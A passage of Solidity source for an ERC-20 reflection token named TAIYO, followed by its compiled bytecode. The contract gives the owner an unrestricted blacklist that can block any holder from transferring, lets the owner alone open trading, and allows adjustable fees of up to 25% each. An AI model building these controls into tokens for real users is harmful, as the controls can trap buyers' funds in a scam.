_teamAddress; address payable private _marketingFunds; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taiyor == 0 && _taiyot == 0) return; _previoustaiyor = _taiyor; _previoustaiyot = _taiyot; _taiyor = 0; _taiyot = 0; } function restoreAllFee() private { _taiyor = _previoustaiyor; _taiyot = _previoustaiyot; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingOpen, "Trading is not enabled yet"); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function launchTaiyo() external onlyOwner() { require(!tradingOpen, "trading is already started"); tradingOpen = true; } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taiyor, _taiyot); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taiyor, uint256 taiyot ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taiyor).div(100); uint256 tTeam = tAmount.mul(taiyot).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function modtaiyor(uint256 taiyor) external onlyOwner() { require(taiyor >= 0 && taiyor <= 25, 'taiyor should be in 0 - 25'); _taiyor = taiyor; } function modtaiyot(uint256 taiyot) external onlyOwner() { require(taiyot >= 0 && taiyot <= 25, 'taiyot should be in 0 - 25'); _taiyot = taiyot; } }
0x6080604052600436106101385760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e8578063a9059cbb14610413578063ab7b576014610450578063c3c8cd8014610479578063d543dbeb14610490578063dd62ed3e146104b95761013f565b80636fc3eaec1461032757806370a082311461033e578063715018a61461037b5780637d1db4a5146103925780638da5cb5b146103bd5761013f565b80632152c6d9116100fd5780632152c6d91461022b57806323b872dd14610242578063313ce5671461027f57806344426f6e146102aa57806349bd5a5e146102d35780636b999053146102fe5761013f565b8062b8cf2a1461014457806306fdde031461016d578063095ea7b3146101985780631694505e146101d557806318160ddd146102005761013f565b3661013f57005b600080fd5b34801561015057600080fd5b5061016b600480360381019061016691906124bb565b6104f6565b005b34801561017957600080fd5b50610182610620565b60405161018f9190612884565b60405180910390f35b3480156101a457600080fd5b506101bf60048036038101906101ba919061247b565b61065d565b6040516101cc919061284e565b60405180910390f35b3480156101e157600080fd5b506101ea61067b565b6040516101f79190612869565b60405180910390f35b34801561020c57600080fd5b506102156106a1565b6040516102229190612a66565b60405180910390f35b34801561023757600080fd5b506102406106b3565b005b34801561024e57600080fd5b5061026960048036038101906102649190612428565b6107b5565b604051610276919061284e565b60405180910390f35b34801561028b57600080fd5b5061029461088e565b6040516102a19190612adb565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc9190612504565b610897565b005b3480156102df57600080fd5b506102e8610987565b6040516102f59190612833565b60405180910390f35b34801561030a57600080fd5b506103256004803603810190610320919061238e565b6109ad565b005b34801561033357600080fd5b5061033c610a9d565b005b34801561034a57600080fd5b506103656004803603810190610360919061238e565b610b0f565b6040516103729190612a66565b60405180910390f35b34801561038757600080fd5b50610390610b60565b005b34801561039e57600080fd5b506103a7610cb3565b6040516103b49190612a66565b60405180910390f35b3480156103c957600080fd5b506103d2610cb9565b6040516103df9190612833565b60405180910390f35b3480156103f457600080fd5b506103fd610ce2565b60405161040a9190612884565b60405180910390f35b34801561041f57600080fd5b5061043a6004803603810190610435919061247b565b610d1f565b604051610447919061284e565b60405180910390f35b34801561045c57600080fd5b5061047760048036038101906104729190612504565b610d3d565b005b34801561048557600080fd5b5061048e610e2d565b005b34801561049c57600080fd5b506104b760048036038101906104b29190612504565b610ea7565b005b3480156104c557600080fd5b506104e060048036038101906104db91906123e8565b610ff1565b6040516104ed9190612a66565b60405180910390f35b6104fe611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610582906129a6565b60405180910390fd5b60005b815181101561061c576001600c60008484815181106105b0576105af612e47565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061490612da0565b91505061058e565b5050565b60606040518060400160405280600581526020017f544149594f000000000000000000000000000000000000000000000000000000815250905090565b600061067161066a611078565b8484611080565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b6106bb611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073f906129a6565b60405180910390fd5b601160149054906101000a900460ff1615610798576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078f906128c6565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b60006107c284848461124b565b610883846107ce611078565b61087e8560405180606001604052806028815260200161324160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610834611078565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172f9092919063ffffffff16565b611080565b600190509392505050565b60006009905090565b61089f611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610923906129a6565b60405180910390fd5b6000811015801561093e575060198111155b61097d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610974906129e6565b60405180910390fd5b8060098190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109b5611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a39906129a6565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ade611078565b73ffffffffffffffffffffffffffffffffffffffff1614610afe57600080fd5b6000479050610b0c81611793565b50565b6000610b59600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188e565b9050919050565b610b68611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec906129a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f544149594f000000000000000000000000000000000000000000000000000000815250905090565b6000610d33610d2c611078565b848461124b565b6001905092915050565b610d45611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc9906129a6565b60405180910390fd5b60008110158015610de4575060198111155b610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a90612a26565b60405180910390fd5b8060088190555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6e611078565b73ffffffffffffffffffffffffffffffffffffffff1614610e8e57600080fd5b6000610e9930610b0f565b9050610ea4816118fc565b50565b610eaf611078565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f33906129a6565b60405180910390fd5b60008111610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7690612966565b60405180910390fd5b610faf6064610fa18369152d02c7e14af6800000611b8490919063ffffffff16565b611bff90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610fe69190612a66565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e790612a46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115790612926565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161123e9190612a66565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b290612a06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611322906128a6565b60405180910390fd5b6000811161136e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611365906129c6565b60405180910390fd5b611376610cb9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e457506113b4610cb9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561166c57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114925750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114e757601160149054906101000a900460ff166114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd906128e6565b60405180910390fd5b5b6012548111156114f657600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561159a5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a357600080fd5b60006115ae30610b0f565b905060125481106115bf5760125490505b601160159054906101000a900460ff1615801561162a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116425750601160169054906101000a900460ff165b1561166a57611650816118fc565b600047905060008111156116685761166747611793565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171d57600090505b61172984848484611c49565b50505050565b6000838311158290611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e9190612884565b60405180910390fd5b50600083856117869190612c7d565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6117e3600284611bff90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561180e573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61185f600284611bff90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561188a573d6000803e3d6000fd5b5050565b60006006548211156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc90612906565b60405180910390fd5b60006118df611c76565b90506118f48184611bff90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561193457611933612e76565b5b6040519080825280602002602001820160405280156119625781602001602082028036833780820191505090505b509050308160008151811061197a57611979612e47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1c57600080fd5b505afa158015611a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5491906123bb565b81600181518110611a6857611a67612e47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611acf30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611080565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b33959493929190612a81565b600060405180830381600087803b158015611b4d57600080fd5b505af1158015611b61573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611b975760009050611bf9565b60008284611ba59190612c23565b9050828482611bb49190612bf2565b14611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90612986565b60405180910390fd5b809150505b92915050565b6000611c4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ca1565b905092915050565b80611c5757611c56611d04565b5b611c62848484611d47565b80611c7057611c6f611f12565b5b50505050565b6000806000611c83611f26565b91509150611c9a8183611bff90919063ffffffff16565b9250505090565b60008083118290611ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdf9190612884565b60405180910390fd5b5060008385611cf79190612bf2565b9050809150509392505050565b6000600854148015611d1857506000600954145b15611d2257611d45565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b600080600080600080611d5987611f8b565b955095509550955095509550611db786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e988161209b565b611ea28483612158565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611eff9190612a66565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b60008060006006549050600069152d02c7e14af68000009050611f5e69152d02c7e14af6800000600654611bff90919063ffffffff16565b821015611f7e5760065469152d02c7e14af6800000935093505050611f87565b81819350935050505b9091565b6000806000806000806000806000611fa88a600854600954612192565b9250925092506000611fb8611c76565b90506000806000611fcb8e878787612228565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061203583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172f565b905092915050565b600080828461204c9190612b9c565b905083811015612091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208890612946565b60405180910390fd5b8091505092915050565b60006120a5611c76565b905060006120bc8284611b8490919063ffffffff16565b905061211081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61216d82600654611ff390919063ffffffff16565b6006819055506121888160075461203d90919063ffffffff16565b6007819055505050565b6000806000806121be60646121b0888a611b8490919063ffffffff16565b611bff90919063ffffffff16565b905060006121e860646121da888b611b8490919063ffffffff16565b611bff90919063ffffffff16565b9050600061221182612203858c611ff390919063ffffffff16565b611ff390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122418589611b8490919063ffffffff16565b905060006122588689611b8490919063ffffffff16565b9050600061226f8789611b8490919063ffffffff16565b905060006122988261228a8587611ff390919063ffffffff16565b611ff390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006122c46122bf84612b1b565b612af6565b905080838252602082019050828560208602820111156122e7576122e6612eaa565b5b60005b8581101561231757816122fd8882612321565b8452602084019350602083019250506001810190506122ea565b5050509392505050565b60008135905061233081613212565b92915050565b60008151905061234581613212565b92915050565b600082601f8301126123605761235f612ea5565b5b81356123708482602086016122b1565b91505092915050565b60008135905061238881613229565b92915050565b6000602082840312156123a4576123a3612eb4565b5b60006123b284828501612321565b91505092915050565b6000602082840312156123d1576123d0612eb4565b5b60006123df84828501612336565b91505092915050565b600080604083850312156123ff576123fe612eb4565b5b600061240d85828601612321565b925050602061241e85828601612321565b9150509250929050565b60008060006060848603121561244157612440612eb4565b5b600061244f86828701612321565b935050602061246086828701612321565b925050604061247186828701612379565b9150509250925092565b6000806040838503121561249257612491612eb4565b5b60006124a085828601612321565b92505060206124b185828601612379565b9150509250929050565b6000602082840312156124d1576124d0612eb4565b5b600082013567ffffffffffffffff8111156124ef576124ee612eaf565b5b6124fb8482850161234b565b91505092915050565b60006020828403121561251a57612519612eb4565b5b600061252884828501612379565b91505092915050565b600061253d8383612549565b60208301905092915050565b61255281612cb1565b82525050565b61256181612cb1565b82525050565b600061257282612b57565b61257c8185612b7a565b935061258783612b47565b8060005b838110156125b857815161259f8882612531565b97506125aa83612b6d565b92505060018101905061258b565b5085935050505092915050565b6125ce81612cc3565b82525050565b6125dd81612d06565b82525050565b6125ec81612d2a565b82525050565b60006125fd82612b62565b6126078185612b8b565b9350612617818560208601612d3c565b61262081612eb9565b840191505092915050565b6000612638602383612b8b565b915061264382612eca565b604082019050919050565b600061265b601a83612b8b565b915061266682612f19565b602082019050919050565b600061267e601a83612b8b565b915061268982612f42565b602082019050919050565b60006126a1602a83612b8b565b91506126ac82612f6b565b604082019050919050565b60006126c4602283612b8b565b91506126cf82612fba565b604082019050919050565b60006126e7601b83612b8b565b91506126f282613009565b602082019050919050565b600061270a601d83612b8b565b915061271582613032565b602082019050919050565b600061272d602183612b8b565b91506127388261305b565b604082019050919050565b6000612750602083612b8b565b915061275b826130aa565b602082019050919050565b6000612773602983612b8b565b915061277e826130d3565b604082019050919050565b6000612796601a83612b8b565b91506127a182613122565b602082019050919050565b60006127b9602583612b8b565b91506127c48261314b565b604082019050919050565b60006127dc601a83612b8b565b91506127e78261319a565b602082019050919050565b60006127ff602483612b8b565b915061280a826131c3565b604082019050919050565b61281e81612cef565b82525050565b61282d81612cf9565b82525050565b60006020820190506128486000830184612558565b92915050565b600060208201905061286360008301846125c5565b92915050565b600060208201905061287e60008301846125d4565b92915050565b6000602082019050818103600083015261289e81846125f2565b905092915050565b600060208201905081810360008301526128bf8161262b565b9050919050565b600060208201905081810360008301526128df8161264e565b9050919050565b600060208201905081810360008301526128ff81612671565b9050919050565b6000602082019050818103600083015261291f81612694565b9050919050565b6000602082019050818103600083015261293f816126b7565b9050919050565b6000602082019050818103600083015261295f816126da565b9050919050565b6000602082019050818103600083015261297f816126fd565b9050919050565b6000602082019050818103600083015261299f81612720565b9050919050565b600060208201905081810360008301526129bf81612743565b9050919050565b600060208201905081810360008301526129df81612766565b9050919050565b600060208201905081810360008301526129ff81612789565b9050919050565b60006020820190508181036000830152612a1f816127ac565b9050919050565b60006020820190508181036000830152612a3f816127cf565b9050919050565b60006020820190508181036000830152612a5f816127f2565b9050919050565b6000602082019050612a7b6000830184612815565b92915050565b600060a082019050612a966000830188612815565b612aa360208301876125e3565b8181036040830152612ab58186612567565b9050612ac46060830185612558565b612ad16080830184612815565b9695505050505050565b6000602082019050612af06000830184612824565b92915050565b6000612b00612b11565b9050612b0c8282612d6f565b919050565b6000604051905090565b600067ffffffffffffffff821115612b3657612b35612e76565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ba782612cef565b9150612bb283612cef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612be757612be6612de9565b5b828201905092915050565b6000612bfd82612cef565b9150612c0883612cef565b925082612c1857612c17612e18565b5b828204905092915050565b6000612c2e82612cef565b9150612c3983612cef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c7257612c71612de9565b5b828202905092915050565b6000612c8882612cef565b9150612c9383612cef565b925082821015612ca657612ca5612de9565b5b828203905092915050565b6000612cbc82612ccf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d1182612d18565b9050919050565b6000612d2382612ccf565b9050919050565b6000612d3582612cef565b9050919050565b60005b83811015612d5a578082015181840152602081019050612d3f565b83811115612d69576000848401525b50505050565b612d7882612eb9565b810181811067ffffffffffffffff82111715612d9757612d96612e76565b5b80604052505050565b6000612dab82612cef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dde57612ddd612de9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f746169796f742073686f756c6420626520696e2030202d203235000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f746169796f722073686f756c6420626520696e2030202d203235000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61321b81612cb1565b811461322657600080fd5b50565b61323281612cef565b811461323d57600080fd5b5